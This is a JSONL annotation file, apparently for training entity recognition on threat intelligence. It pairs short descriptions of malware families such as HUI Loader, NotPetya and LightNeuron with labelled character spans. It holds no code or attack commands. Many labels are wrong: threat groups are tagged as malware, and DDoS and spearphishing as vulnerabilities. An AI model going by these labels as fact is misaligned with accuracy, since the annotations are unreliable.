+{"text": "HUI Loader is a custom DLL loader that has been used since at least 2015 by China-based threat groups including Cinnamon Tempest and menuPass to deploy malware on compromised hosts. HUI Loader has been observed in campaigns loading SodaMaster, PlugX, Cobalt Strike, Komplex, and several strains of ransomware.", "spans": {"MALWARE: HUI Loader": [[0, 10], [182, 192]], "THREAT_ACTOR: Cobalt": [[251, 257]], "TOOL: Cobalt Strike": [[251, 264]], "MALWARE: menuPass": [[133, 141]], "MALWARE: Cinnamon Tempest": [[112, 128]], "MALWARE: SodaMaster": [[232, 242]], "MALWARE: PlugX": [[244, 249]], "MALWARE: Komplex": [[266, 273]]}, "info": {"source": "apt_reports", "name": "HUI Loader"}}
+{"text": "CHIMNEYSWEEP is a backdoor malware that was deployed during HomeLand Justice along with ROADSWEEP ransomware, and has been used to target Farsi and Arabic speakers since at least 2012.", "spans": {"MALWARE: CHIMNEYSWEEP": [[0, 12]], "THREAT_ACTOR: HomeLand Justice": [[60, 76]], "MALWARE: ROADSWEEP": [[88, 97]]}, "info": {"source": "apt_reports", "name": "CHIMNEYSWEEP"}}
+{"text": "Ragnar Locker is a ransomware that has been in use since at least December 2019.", "spans": {"MALWARE: Ragnar Locker": [[0, 13]]}, "info": {"source": "apt_reports", "name": "Ragnar Locker"}}
+{"text": "FatDuke is a backdoor used by APT29 since at least 2016.", "spans": {"MALWARE: FatDuke": [[0, 7]], "THREAT_ACTOR: APT29": [[30, 35]]}, "info": {"source": "apt_reports", "name": "FatDuke"}}
+{"text": "Lucifer is a crypto miner and DDoS hybrid malware that leverages well-known exploits to spread laterally on Windows platforms.", "spans": {"MALWARE: Lucifer": [[0, 7]], "SYSTEM: Windows": [[108, 115]], "VULNERABILITY: DDoS": [[30, 34]]}, "info": {"source": "apt_reports", "name": "Lucifer"}}
+{"text": "BlackEnergy is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3.", "spans": {"MALWARE: BlackEnergy": [[0, 11], [441, 452], [459, 470]], "VULNERABILITY: DDoS": [[215, 219]]}, "info": {"source": "apt_reports", "name": "BlackEnergy"}}
+{"text": "zwShell is a remote access tool (RAT) written in Delphi that has been seen in the wild since the spring of 2010 and used by threat actors during Night Dragon.", "spans": {"MALWARE: zwShell": [[0, 7]], "THREAT_ACTOR: Night Dragon": [[145, 157]]}, "info": {"source": "apt_reports", "name": "zwShell"}}
+{"text": "Zeroaccess is a kernel-mode Rootkit that attempts to add victims to the ZeroAccess botnet, often for monetary gain.", "spans": {"MALWARE: Zeroaccess": [[0, 10]], "MALWARE: ZeroAccess": [[72, 82]]}, "info": {"source": "apt_reports", "name": "Zeroaccess"}}
+{"text": "GLASSTOKEN is a custom web shell used by threat actors during Cutting Edge to execute commands on compromised Ivanti Secure Connect VPNs.", "spans": {"MALWARE: GLASSTOKEN": [[0, 10]], "THREAT_ACTOR: Cutting Edge": [[62, 74]], "SYSTEM: Edge": [[70, 74]], "SYSTEM: Ivanti": [[110, 116]]}, "info": {"source": "apt_reports", "name": "GLASSTOKEN"}}
+{"text": "DCSrv is destructive malware that has been used by Moses Staff since at least  September 2021. Though DCSrv has ransomware-like capabilities, Moses Staff does not demand ransom or offer a decryption key.", "spans": {"MALWARE: DCSrv": [[0, 5], [102, 107]], "MALWARE: Moses Staff": [[51, 62], [142, 153]]}, "info": {"source": "apt_reports", "name": "DCSrv"}}
+{"text": "DRATzarus is a remote access tool (RAT) that has been used by Lazarus Group to target the defense and aerospace organizations globally since at least summer 2020. DRATzarus shares similarities with Bankshot, which was used by Lazarus Group in 2017 to target the Turkish financial sector.", "spans": {"MALWARE: DRATzarus": [[0, 9], [163, 172]], "THREAT_ACTOR: Lazarus Group": [[62, 75], [226, 239]], "MALWARE: Bankshot": [[198, 206]]}, "info": {"source": "apt_reports", "name": "DRATzarus"}}
+{"text": "BOOSTWRITE is a loader crafted to be launched via abuse of the DLL search order of applications used by FIN7.", "spans": {"MALWARE: BOOSTWRITE": [[0, 10]], "THREAT_ACTOR: FIN7": [[104, 108]]}, "info": {"source": "apt_reports", "name": "BOOSTWRITE"}}
+{"text": "Rising Sun is a modular backdoor that was used extensively in Operation Sharpshooter between 2017 and 2019. Rising Sun infected at least 87 organizations around the world, including nuclear, defense, energy, and financial service companies. Security researchers assessed Rising Sun included some source code from Lazarus Group's Trojan Duuzer.", "spans": {"MALWARE: Rising Sun": [[0, 10], [108, 118], [271, 281]], "THREAT_ACTOR: Operation Sharpshooter": [[62, 84]], "THREAT_ACTOR: Lazarus Group": [[313, 326]], "MALWARE: Sharpshooter": [[72, 84]]}, "info": {"source": "apt_reports", "name": "Rising Sun"}}
+{"text": "ASPXSpy is a Web shell. It has been modified by Threat Group-3390 actors to create the ASPXTool version.", "spans": {"MALWARE: ASPXSpy": [[0, 7]], "MALWARE: Threat Group-3390": [[48, 65]]}, "info": {"source": "apt_reports", "name": "ASPXSpy"}}
+{"text": "NotPetya is malware that was used by Sandworm Team in a worldwide attack starting on June 27, 2017. While NotPetya appears as a form of ransomware, its main purpose was to destroy data and disk structures on compromised systems; the attackers never intended to make the encrypted data recoverable. As such, NotPetya may be more appropriately thought of as a form of wiper malware. NotPetya contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.", "spans": {"MALWARE: NotPetya": [[0, 8], [106, 114], [307, 315], [381, 389]], "THREAT_ACTOR: Sandworm": [[37, 45]], "VULNERABILITY: EternalBlue": [[486, 497]], "MALWARE: Sandworm Team": [[37, 50]]}, "info": {"source": "apt_reports", "name": "NotPetya"}}
+{"text": "ShimRat has been used by the suspected China-based adversary Mofang in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development. The name \"ShimRat\" comes from the malware's extensive use of Windows Application Shimming to maintain persistence.", "spans": {"MALWARE: ShimRat": [[0, 7], [226, 233]], "SYSTEM: Windows": [[277, 284]], "MALWARE: Mofang": [[61, 67]]}, "info": {"source": "apt_reports", "name": "ShimRat"}}
+{"text": "Chrommme is a backdoor tool written using the Microsoft Foundation Class (MFC) framework that was first reported in June 2021; security researchers noted infrastructure overlaps with Gelsemium malware.", "spans": {"MALWARE: Chrommme": [[0, 8]], "THREAT_ACTOR: Gelsemium": [[183, 192]], "ORGANIZATION: Microsoft": [[46, 55]]}, "info": {"source": "apt_reports", "name": "Chrommme"}}
+{"text": "BADFLICK is a backdoor used by Leviathan in spearphishing campaigns first reported in 2018 that targeted the U.S. engineering and maritime industries.", "spans": {"MALWARE: BADFLICK": [[0, 8]], "THREAT_ACTOR: Leviathan": [[31, 40]], "VULNERABILITY: spearphishing": [[44, 57]]}, "info": {"source": "apt_reports", "name": "BADFLICK"}}
+{"text": "ObliqueRAT is a remote access trojan, similar to Crimson, that has been in use by Transparent Tribe since at least 2020.", "spans": {"MALWARE: ObliqueRAT": [[0, 10]], "MALWARE: Crimson": [[49, 56]], "MALWARE: Transparent Tribe": [[82, 99]]}, "info": {"source": "apt_reports", "name": "ObliqueRAT"}}
+{"text": "SHOTPUT is a custom backdoor used by APT3.", "spans": {"MALWARE: SHOTPUT": [[0, 7]], "THREAT_ACTOR: APT3": [[37, 41]]}, "info": {"source": "apt_reports", "name": "SHOTPUT"}}
+{"text": "Avaddon is ransomware written in C++ that has been offered as Ransomware-as-a-Service (RaaS) since at least June 2020.", "spans": {"MALWARE: Avaddon": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Avaddon"}}
+{"text": "Conficker is a computer worm first detected in October 2008 that targeted Microsoft Windows using the MS08-067 Windows vulnerability to spread. In 2016, a variant of Conficker made its way on computers and removable disk drives belonging to a nuclear power plant.", "spans": {"MALWARE: Conficker": [[0, 9], [166, 175]], "SYSTEM: Windows": [[84, 91], [111, 118]], "ORGANIZATION: Microsoft": [[74, 83]]}, "info": {"source": "apt_reports", "name": "Conficker"}}
+{"text": "SocGholish is a JavaScript-based loader malware that has been used since at least 2017. It has been observed in use against multiple sectors globally for initial access, primarily through drive-by-downloads masquerading as software updates. SocGholish is operated by Mustard Tempest and its access has been sold to groups including Indrik Spider for downloading secondary RAT and ransomware payloads.", "spans": {"MALWARE: SocGholish": [[0, 10], [241, 251]], "THREAT_ACTOR: Mustard Tempest": [[267, 282]], "MALWARE: Indrik Spider": [[332, 345]]}, "info": {"source": "apt_reports", "name": "SocGholish"}}
+{"text": "Flagpro is a Windows-based, first-stage downloader that has been used by BlackTech since at least October 2020. It has primarily been used against defense, media, and communications companies in Japan.", "spans": {"MALWARE: Flagpro": [[0, 7]], "THREAT_ACTOR: BlackTech": [[73, 82]], "SYSTEM: Windows": [[13, 20]]}, "info": {"source": "apt_reports", "name": "Flagpro"}}
+{"text": "Hi-Zor is a remote access tool (RAT) that has characteristics similar to Sakula. It was used in a campaign named INOCNATION.", "spans": {"MALWARE: Hi-Zor": [[0, 6]], "MALWARE: Sakula": [[73, 79]]}, "info": {"source": "apt_reports", "name": "Hi-Zor"}}
+{"text": "SpicyOmelette is a JavaScript based remote access tool that has been used by Cobalt Group since at least 2018.", "spans": {"MALWARE: SpicyOmelette": [[0, 13]], "THREAT_ACTOR: Cobalt": [[77, 83]], "MALWARE: Cobalt Group": [[77, 89]]}, "info": {"source": "apt_reports", "name": "SpicyOmelette"}}
+{"text": "XAgentOSX is a trojan that has been used by APT28  on OS X and appears to be a port of their standard CHOPSTICK or XAgent trojan.", "spans": {"MALWARE: XAgentOSX": [[0, 9]], "THREAT_ACTOR: APT28": [[44, 49]], "MALWARE: CHOPSTICK": [[102, 111]]}, "info": {"source": "apt_reports", "name": "XAgentOSX"}}
+{"text": "Green Lambert is a modular backdoor that security researchers assess has been used by an advanced threat group referred to as Longhorn and The Lamberts. First reported in 2017, the Windows variant of Green Lambert may have been used as early as 2008; a macOS version was uploaded to a multiscanner service in September 2014.", "spans": {"MALWARE: Green Lambert": [[0, 13], [200, 213]], "THREAT_ACTOR: Longhorn": [[126, 134]], "SYSTEM: macOS": [[253, 258]], "SYSTEM: Windows": [[181, 188]]}, "info": {"source": "apt_reports", "name": "Green Lambert"}}
+{"text": "China Chopper is a Web Shell hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. It has been used by several threat groups.", "spans": {"MALWARE: China Chopper": [[0, 13]]}, "info": {"source": "apt_reports", "name": "China Chopper"}}
+{"text": "SnappyTCP is a web shell used by Sea Turtle between 2021 and 2023 against multiple victims. SnappyTCP appears to be based on a public GitHub project that has since been removed from the code-sharing site. SnappyTCP includes a simple reverse TCP shell for Linux and Unix environments with basic command and control capabilities.", "spans": {"MALWARE: SnappyTCP": [[0, 9], [92, 101], [205, 214]], "THREAT_ACTOR: Sea Turtle": [[33, 43]], "SYSTEM: GitHub": [[134, 140]], "SYSTEM: Unix": [[265, 269]], "SYSTEM: Linux": [[255, 260]]}, "info": {"source": "apt_reports", "name": "SnappyTCP"}}
+{"text": "CALENDAR is malware used by APT1 that mimics legitimate Gmail Calendar traffic.", "spans": {"MALWARE: CALENDAR": [[0, 8]], "THREAT_ACTOR: APT1": [[28, 32]], "SYSTEM: Gmail": [[56, 61]]}, "info": {"source": "apt_reports", "name": "CALENDAR"}}
+{"text": "LockerGoga is ransomware that was first reported in January 2019, and has been tied to various attacks on European companies, including industrial and manufacturing firms.", "spans": {"MALWARE: LockerGoga": [[0, 10]]}, "info": {"source": "apt_reports", "name": "LockerGoga"}}
+{"text": "First observed in 2018, LightSpy is a modular malware family that initially targeted iOS devices in Southern Asia before expanding to Android and macOS platforms. It consists of a downloader, a main executable that manages network communications, and functionality-specific modules, typically implemented as `.dylib` files (iOS, macOS) or `.apk` files (Android). LightSpy can collect VoIP call recordings, SMS messages, and credential stores, which are then exfiltrated to a command and control (C2) server.", "spans": {"MALWARE: LightSpy": [[24, 32], [363, 371]], "SYSTEM: macOS": [[146, 151], [329, 334]], "SYSTEM: Android": [[134, 141], [353, 360]], "SYSTEM: iOS": [[85, 88], [324, 327]]}, "info": {"source": "apt_reports", "name": "LightSpy"}}
+{"text": "Chaos is Linux malware that compromises systems by brute force attacks against SSH services. Once installed, it provides a reverse shell to its controllers, triggered by unsolicited packets.", "spans": {"MALWARE: Chaos": [[0, 5]], "TOOL: SSH": [[79, 82]], "SYSTEM: Linux": [[9, 14]], "VULNERABILITY: brute force": [[51, 62]]}, "info": {"source": "apt_reports", "name": "Chaos"}}
+{"text": "ISMInjector is a Trojan used to install another OilRig backdoor, ISMAgent.", "spans": {"MALWARE: ISMInjector": [[0, 11]], "THREAT_ACTOR: OilRig": [[48, 54]]}, "info": {"source": "apt_reports", "name": "ISMInjector"}}
+{"text": "PUNCHBUGGY is a backdoor malware used by FIN8 that has been observed targeting POS networks in the hospitality industry.", "spans": {"MALWARE: PUNCHBUGGY": [[0, 10]], "THREAT_ACTOR: FIN8": [[41, 45]]}, "info": {"source": "apt_reports", "name": "PUNCHBUGGY"}}
+{"text": "GoldMax is a second-stage C2 backdoor written in Go with Windows and Linux variants that are nearly identical in functionality. GoldMax was discovered in early 2021 during the investigation into the SolarWinds Compromise, and has likely been used by APT29 since at least mid-2019. GoldMax uses multiple defense evasion techniques, including avoiding virtualization execution and masking malicious traffic.", "spans": {"MALWARE: GoldMax": [[0, 7], [128, 135], [281, 288]], "THREAT_ACTOR: SolarWinds Compromise": [[199, 220]], "THREAT_ACTOR: APT29": [[250, 255]], "SYSTEM: SolarWinds": [[199, 209]], "SYSTEM: Windows": [[57, 64]], "SYSTEM: Linux": [[69, 74]], "SYSTEM: Go": [[49, 51]]}, "info": {"source": "apt_reports", "name": "GoldMax"}}
+{"text": "HELLOKITTY is a ransomware written in C++  that shares similar code structure and functionality with DEATHRANSOM and FIVEHANDS. HELLOKITTY has been used since at least 2020, targets have included a Polish video game developer and a Brazilian electric power company.", "spans": {"MALWARE: HELLOKITTY": [[0, 10], [128, 138]], "MALWARE: FIVEHANDS": [[117, 126]], "MALWARE: DEATHRANSOM": [[101, 112]]}, "info": {"source": "apt_reports", "name": "HELLOKITTY"}}
+{"text": "CostaBricks is a loader that was used to deploy 32-bit backdoors in the CostaRicto campaign.", "spans": {"MALWARE: CostaBricks": [[0, 11]], "THREAT_ACTOR: CostaRicto": [[72, 82]]}, "info": {"source": "apt_reports", "name": "CostaBricks"}}
+{"text": "Cheerscrypt is a ransomware that was developed by Cinnamon Tempest and has been used in attacks against ESXi and Windows environments since at least 2022. Cheerscrypt was derived from the leaked Babuk source code and has infrastructure overlaps with deployments of Night Sky ransomware, which was also derived from Babuk.", "spans": {"MALWARE: Cheerscrypt": [[0, 11], [155, 166]], "SYSTEM: ESXi": [[104, 108]], "SYSTEM: Windows": [[113, 120]], "MALWARE: Cinnamon Tempest": [[50, 66]], "MALWARE: Babuk": [[195, 200], [315, 320]]}, "info": {"source": "apt_reports", "name": "Cheerscrypt"}}
+{"text": "LIGHTWIRE is a web shell written in Perl that was used during Cutting Edge to maintain access and enable command execution by imbedding into the legitimate compcheckresult.cgi component of Ivanti Secure Connect VPNs.", "spans": {"MALWARE: LIGHTWIRE": [[0, 9]], "THREAT_ACTOR: Cutting Edge": [[62, 74]], "SYSTEM: Edge": [[70, 74]], "SYSTEM: Ivanti": [[189, 195]], "SYSTEM: Perl": [[36, 40]]}, "info": {"source": "apt_reports", "name": "LIGHTWIRE"}}
+{"text": "KeyBoy is malware that has been used in targeted campaigns against members of the Tibetan Parliament in 2016.", "spans": {"MALWARE: KeyBoy": [[0, 6]]}, "info": {"source": "apt_reports", "name": "KeyBoy"}}
+{"text": "POSHSPY is a backdoor that has been used by APT29 since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors.", "spans": {"MALWARE: POSHSPY": [[0, 7]], "THREAT_ACTOR: APT29": [[44, 49]]}, "info": {"source": "apt_reports", "name": "POSHSPY"}}
+{"text": "MiniDuke is malware that was used by APT29 from 2010 to 2015. The MiniDuke toolset consists of multiple downloader and backdoor components. The loader has been used with other MiniDuke components as well as in conjunction with CosmicDuke and PinchDuke.", "spans": {"MALWARE: MiniDuke": [[0, 8], [66, 74], [176, 184]], "THREAT_ACTOR: APT29": [[37, 42]], "MALWARE: CosmicDuke": [[227, 237]], "MALWARE: PinchDuke": [[242, 251]]}, "info": {"source": "apt_reports", "name": "MiniDuke"}}
+{"text": "HyperBro is a custom in-memory backdoor used by Threat Group-3390.", "spans": {"MALWARE: HyperBro": [[0, 8]], "MALWARE: Threat Group-3390": [[48, 65]]}, "info": {"source": "apt_reports", "name": "HyperBro"}}
+{"text": "Anchor is one of a family of backdoor malware that has been used in conjunction with TrickBot on selected high profile targets since at least 2018.", "spans": {"MALWARE: Anchor": [[0, 6]], "MALWARE: TrickBot": [[85, 93]]}, "info": {"source": "apt_reports", "name": "Anchor"}}
+{"text": "Line Runner is a persistent backdoor and web shell allowing threat actors to upload and execute arbitrary Lua scripts. Line Runner is associated with the ArcaneDoor campaign.", "spans": {"MALWARE: Line Runner": [[0, 11], [119, 130]], "THREAT_ACTOR: ArcaneDoor": [[154, 164]]}, "info": {"source": "apt_reports", "name": "Line Runner"}}
+{"text": "Pteranodon is a custom backdoor used by Gamaredon Group.", "spans": {"MALWARE: Pteranodon": [[0, 10]], "THREAT_ACTOR: Gamaredon Group": [[40, 55]]}, "info": {"source": "apt_reports", "name": "Pteranodon"}}
+{"text": "DarkTortilla is a highly configurable .NET-based crypter that has been possibly active since at least August 2015. DarkTortilla has been used to deliver popular information stealers, RATs, and payloads such as Agent Tesla, AsyncRat, NanoCore, RedLine, Cobalt Strike, and Metasploit.", "spans": {"MALWARE: DarkTortilla": [[0, 12], [115, 127]], "THREAT_ACTOR: Cobalt": [[252, 258]], "TOOL: Cobalt Strike": [[252, 265]], "TOOL: Metasploit": [[271, 281]], "SYSTEM: .NET": [[38, 42]], "MALWARE: NanoCore": [[233, 241]], "MALWARE: Agent Tesla": [[210, 221]]}, "info": {"source": "apt_reports", "name": "DarkTortilla"}}
+{"text": "BeaverTail is a malware that has both a JavaScript and C++ variant.  Active since 2022, BeaverTail is capable of stealing logins from browsers and serves as a downloader for second stage payloads. BeaverTail has previously been leveraged by North Korea-affiliated actors identified as DeceptiveDevelopment or Contagious Interview. BeaverTail has been delivered to victims through code repository sites and has been embedded within malicious attachments.", "spans": {"MALWARE: BeaverTail": [[0, 10], [88, 98], [197, 207], [331, 341]], "THREAT_ACTOR: Contagious Interview": [[309, 329]]}, "info": {"source": "apt_reports", "name": "BeaverTail"}}
+{"text": "ROKRAT is a cloud-based remote access tool (RAT) used by APT37 to target victims in South Korea. APT37 has used ROKRAT during several campaigns from 2016 through 2021.", "spans": {"MALWARE: ROKRAT": [[0, 6], [112, 118]], "THREAT_ACTOR: APT37": [[57, 62], [97, 102]]}, "info": {"source": "apt_reports", "name": "ROKRAT"}}
+{"text": "CORESHELL is a downloader used by APT28. The older versions of this malware are known as SOURFACE and newer versions as CORESHELL.", "spans": {"MALWARE: CORESHELL": [[0, 9], [120, 129]], "THREAT_ACTOR: APT28": [[34, 39]]}, "info": {"source": "apt_reports", "name": "CORESHELL"}}
+{"text": "RunningRAT is a remote access tool that appeared in operations surrounding the 2018 Pyeongchang Winter Olympics along with Gold Dragon and Brave Prince.", "spans": {"MALWARE: RunningRAT": [[0, 10]], "SYSTEM: Brave": [[139, 144]], "MALWARE: Gold Dragon": [[123, 134]], "MALWARE: Brave Prince": [[139, 151]]}, "info": {"source": "apt_reports", "name": "RunningRAT"}}
+{"text": "VPNFilter is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. VPNFilter modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols.   VPNFilter was assessed to be replaced by Sandworm Team with Cyclops Blink starting in 2019.", "spans": {"MALWARE: VPNFilter": [[0, 9], [154, 163], [352, 361]], "THREAT_ACTOR: Sandworm": [[393, 401]], "MALWARE: Cyclops": [[412, 419]], "MALWARE: Sandworm Team": [[393, 406]], "MALWARE: Cyclops Blink": [[412, 425]]}, "info": {"source": "apt_reports", "name": "VPNFilter"}}
+{"text": "SplatDropper is a loader that utilizes native windows API to deliver its payload to the victim environment.  SplatDropper has been delivered through RAR archives and used legitimate executable for DLL side-loading.  SplatDropper is known to be leveraged by Mustang Panda and was first observed utilized in 2025.", "spans": {"MALWARE: SplatDropper": [[0, 12], [109, 121], [216, 228]], "THREAT_ACTOR: Mustang Panda": [[257, 270]], "TOOL: RAR": [[149, 152]], "VULNERABILITY: DLL side-loading": [[197, 213]]}, "info": {"source": "apt_reports", "name": "SplatDropper"}}
+{"text": "Babuk is a Ransomware-as-a-service (RaaS) malware that has been used since at least 2021. The operators of Babuk employ a \"Big Game Hunting\" approach to targeting major enterprises and operate a leak site to post stolen data as part of their extortion scheme.", "spans": {"MALWARE: Babuk": [[0, 5], [107, 112]]}, "info": {"source": "apt_reports", "name": "Babuk"}}
+{"text": "Exbyte is an exfiltration tool written in Go that is uniquely associated with BlackByte operations. Observed since 2022, Exbyte transfers collected files to online file sharing and hosting services.", "spans": {"MALWARE: Exbyte": [[0, 6], [121, 127]], "SYSTEM: Go": [[42, 44]], "MALWARE: BlackByte": [[78, 87]]}, "info": {"source": "apt_reports", "name": "Exbyte"}}
+{"text": "DarkWatchman is a lightweight JavaScript-based remote access tool (RAT) that avoids file operations; it was first observed in November 2021.", "spans": {"MALWARE: DarkWatchman": [[0, 12]]}, "info": {"source": "apt_reports", "name": "DarkWatchman"}}
+{"text": "Dyre is a banking Trojan that has been used for financial gain.", "spans": {"MALWARE: Dyre": [[0, 4]]}, "info": {"source": "apt_reports", "name": "Dyre"}}
+{"text": "BlackMould is a web shell based on China Chopper for servers running Microsoft IIS. First reported in December 2019, it has been used in malicious campaigns by GALLIUM against telecommunication providers.", "spans": {"MALWARE: BlackMould": [[0, 10]], "THREAT_ACTOR: GALLIUM": [[160, 167]], "SYSTEM: Microsoft IIS": [[69, 82]], "SYSTEM: IIS": [[79, 82]], "ORGANIZATION: Microsoft": [[69, 78]], "MALWARE: China Chopper": [[35, 48]]}, "info": {"source": "apt_reports", "name": "BlackMould"}}
+{"text": "Javali is a banking trojan that has targeted Portuguese and Spanish-speaking countries since 2017, primarily focusing on customers of financial institutions in Brazil and Mexico.", "spans": {"MALWARE: Javali": [[0, 6]]}, "info": {"source": "apt_reports", "name": "Javali"}}
+{"text": "PACEMAKER is a credential stealer that was used by APT5 as early as 2020 including activity against US Defense Industrial Base (DIB) companies.", "spans": {"MALWARE: PACEMAKER": [[0, 9]], "THREAT_ACTOR: APT5": [[51, 55]]}, "info": {"source": "apt_reports", "name": "PACEMAKER"}}
+{"text": "LunarLoader is the loader component for the LunarWeb and LunarMail backdoors that has been used by Turla since at least 2020 including against a European ministry of foreign affairs (MFA). LunarLoader has been observed as a standalone and as a part of trojanized open-source software such as AdmPwd.", "spans": {"MALWARE: LunarLoader": [[0, 11], [189, 200]], "THREAT_ACTOR: Turla": [[99, 104]], "MALWARE: LunarWeb": [[44, 52]], "MALWARE: LunarMail": [[57, 66]]}, "info": {"source": "apt_reports", "name": "LunarLoader"}}
+{"text": "BBSRAT is malware with remote access tool functionality that has been used in targeted compromises.", "spans": {"MALWARE: BBSRAT": [[0, 6]]}, "info": {"source": "apt_reports", "name": "BBSRAT"}}
+{"text": "PlugX is a remote access tool (RAT) with modular plugins that has been used by multiple threat groups.", "spans": {"MALWARE: PlugX": [[0, 5]]}, "info": {"source": "apt_reports", "name": "PlugX"}}
+{"text": "Reaver is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the \"Five Poisons,\" which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of Control Panel items.", "spans": {"MALWARE: Reaver": [[0, 6]]}, "info": {"source": "apt_reports", "name": "Reaver"}}
+{"text": "Bisonal is a remote access tool (RAT) that has been used by Tonto Team against public and private sector organizations in Russia, South Korea, and Japan since at least December 2010.", "spans": {"MALWARE: Bisonal": [[0, 7]], "THREAT_ACTOR: Tonto Team": [[60, 70]]}, "info": {"source": "apt_reports", "name": "Bisonal"}}
+{"text": "MultiLayer Wiper is wiper malware written in .NET associated with Agrius operations. Observed samples of MultiLayer Wiper have an anomalous, future compilation date suggesting possible metadata manipulation.", "spans": {"MALWARE: MultiLayer Wiper": [[0, 16], [105, 121]], "SYSTEM: .NET": [[45, 49]], "MALWARE: Wiper": [[11, 16], [116, 121]], "MALWARE: Agrius": [[66, 72]]}, "info": {"source": "apt_reports", "name": "MultiLayer Wiper"}}
+{"text": "S-Type is a backdoor that was used in Operation Dust Storm since at least 2013.", "spans": {"MALWARE: S-Type": [[0, 6]], "THREAT_ACTOR: Dust Storm": [[48, 58]], "THREAT_ACTOR: Operation Dust Storm": [[38, 58]]}, "info": {"source": "apt_reports", "name": "S-Type"}}
+{"text": "Lumma Stealer is an information stealer malware family in use since at least 2022. Lumma Stealer is a Malware as a Service (MaaS) where captured data has been sold in criminal markets to Initial Access Brokers.", "spans": {"MALWARE: Lumma Stealer": [[0, 13], [83, 96]]}, "info": {"source": "apt_reports", "name": "Lumma Stealer"}}
+{"text": "SeaDuke is malware that was used by APT29 from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with CozyCar.", "spans": {"MALWARE: SeaDuke": [[0, 7]], "THREAT_ACTOR: APT29": [[36, 41]], "MALWARE: CozyCar": [[154, 161]]}, "info": {"source": "apt_reports", "name": "SeaDuke"}}
+{"text": "BS2005 is malware that was used by Ke3chang in spearphishing campaigns since at least 2011.", "spans": {"MALWARE: BS2005": [[0, 6]], "VULNERABILITY: spearphishing": [[47, 60]], "MALWARE: Ke3chang": [[35, 43]]}, "info": {"source": "apt_reports", "name": "BS2005"}}
+{"text": "DustySky is multi-stage malware written in .NET that has been used by Molerats since May 2015.", "spans": {"MALWARE: DustySky": [[0, 8]], "THREAT_ACTOR: Molerats": [[70, 78]], "SYSTEM: .NET": [[43, 47]]}, "info": {"source": "apt_reports", "name": "DustySky"}}
+{"text": "Duqu is a malware platform that uses a modular approach to extend functionality after deployment within a target network.", "spans": {"MALWARE: Duqu": [[0, 4]]}, "info": {"source": "apt_reports", "name": "Duqu"}}
+{"text": "Truvasys is first-stage malware that has been used by PROMETHIUM. It is a collection of modules written in the Delphi programming language.", "spans": {"MALWARE: Truvasys": [[0, 8]], "THREAT_ACTOR: PROMETHIUM": [[54, 64]]}, "info": {"source": "apt_reports", "name": "Truvasys"}}
+{"text": "Remsec is a modular backdoor that has been used by Strider and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua.", "spans": {"MALWARE: Remsec": [[0, 6]], "MALWARE: Strider": [[51, 58]]}, "info": {"source": "apt_reports", "name": "Remsec"}}
+{"text": "Industroyer2 is a compiled and static piece of malware that has the ability to communicate over the IEC-104 protocol. It is similar to the IEC-104 module found in Industroyer. Security researchers assess that Industroyer2 was designed to cause impact to high-voltage electrical substations. The initial Industroyer2 sample was compiled on 03/23/2022 and scheduled to execute on 04/08/2022, however it was discovered before deploying, resulting in no impact.", "spans": {"MALWARE: Industroyer2": [[0, 12], [209, 221], [303, 315]], "MALWARE: Industroyer": [[163, 174]]}, "info": {"source": "apt_reports", "name": "Industroyer2"}}
+{"text": "Sykipot is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of Sykipot hijacks smart cards on victims.  The group using this malware has also been referred to as Sykipot.", "spans": {"MALWARE: Sykipot": [[0, 7], [142, 149], [241, 248]], "VULNERABILITY: spearphishing": [[41, 54]]}, "info": {"source": "apt_reports", "name": "Sykipot"}}
+{"text": "Explosive is a custom-made remote access tool used by the group Volatile Cedar. It was first identified in the wild in 2015.", "spans": {"MALWARE: Explosive": [[0, 9]], "THREAT_ACTOR: Volatile Cedar": [[64, 78]]}, "info": {"source": "apt_reports", "name": "Explosive"}}
+{"text": "Xbash is a malware family that has targeted Linux and Microsoft Windows servers. The malware has been tied to the Iron Group, a threat actor group known for previous ransomware attacks. Xbash was developed in Python and then converted into a self-contained Linux ELF executable by using PyInstaller.", "spans": {"MALWARE: Xbash": [[0, 5], [186, 191]], "THREAT_ACTOR: Iron Group": [[114, 124]], "SYSTEM: Windows": [[64, 71]], "SYSTEM: Python": [[209, 215]], "SYSTEM: Linux": [[44, 49], [257, 262]], "ORGANIZATION: Microsoft": [[54, 63]]}, "info": {"source": "apt_reports", "name": "Xbash"}}
+{"text": "Rover is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan.", "spans": {"MALWARE: Rover": [[0, 5]]}, "info": {"source": "apt_reports", "name": "Rover"}}
+{"text": "Epic is a backdoor that has been used by Turla.", "spans": {"MALWARE: Epic": [[0, 4]], "THREAT_ACTOR: Turla": [[41, 46]]}, "info": {"source": "apt_reports", "name": "Epic"}}
+{"text": "LightNeuron is a sophisticated backdoor that has targeted Microsoft Exchange servers since at least 2014. LightNeuron has been used by Turla to target diplomatic and foreign affairs-related organizations. The presence of certain strings in the malware suggests a Linux variant of LightNeuron exists.", "spans": {"MALWARE: LightNeuron": [[0, 11], [106, 117], [280, 291]], "THREAT_ACTOR: Turla": [[135, 140]], "SYSTEM: Microsoft Exchange": [[58, 76]], "SYSTEM: Linux": [[263, 268]], "ORGANIZATION: Microsoft": [[58, 67]]}, "info": {"source": "apt_reports", "name": "LightNeuron"}}
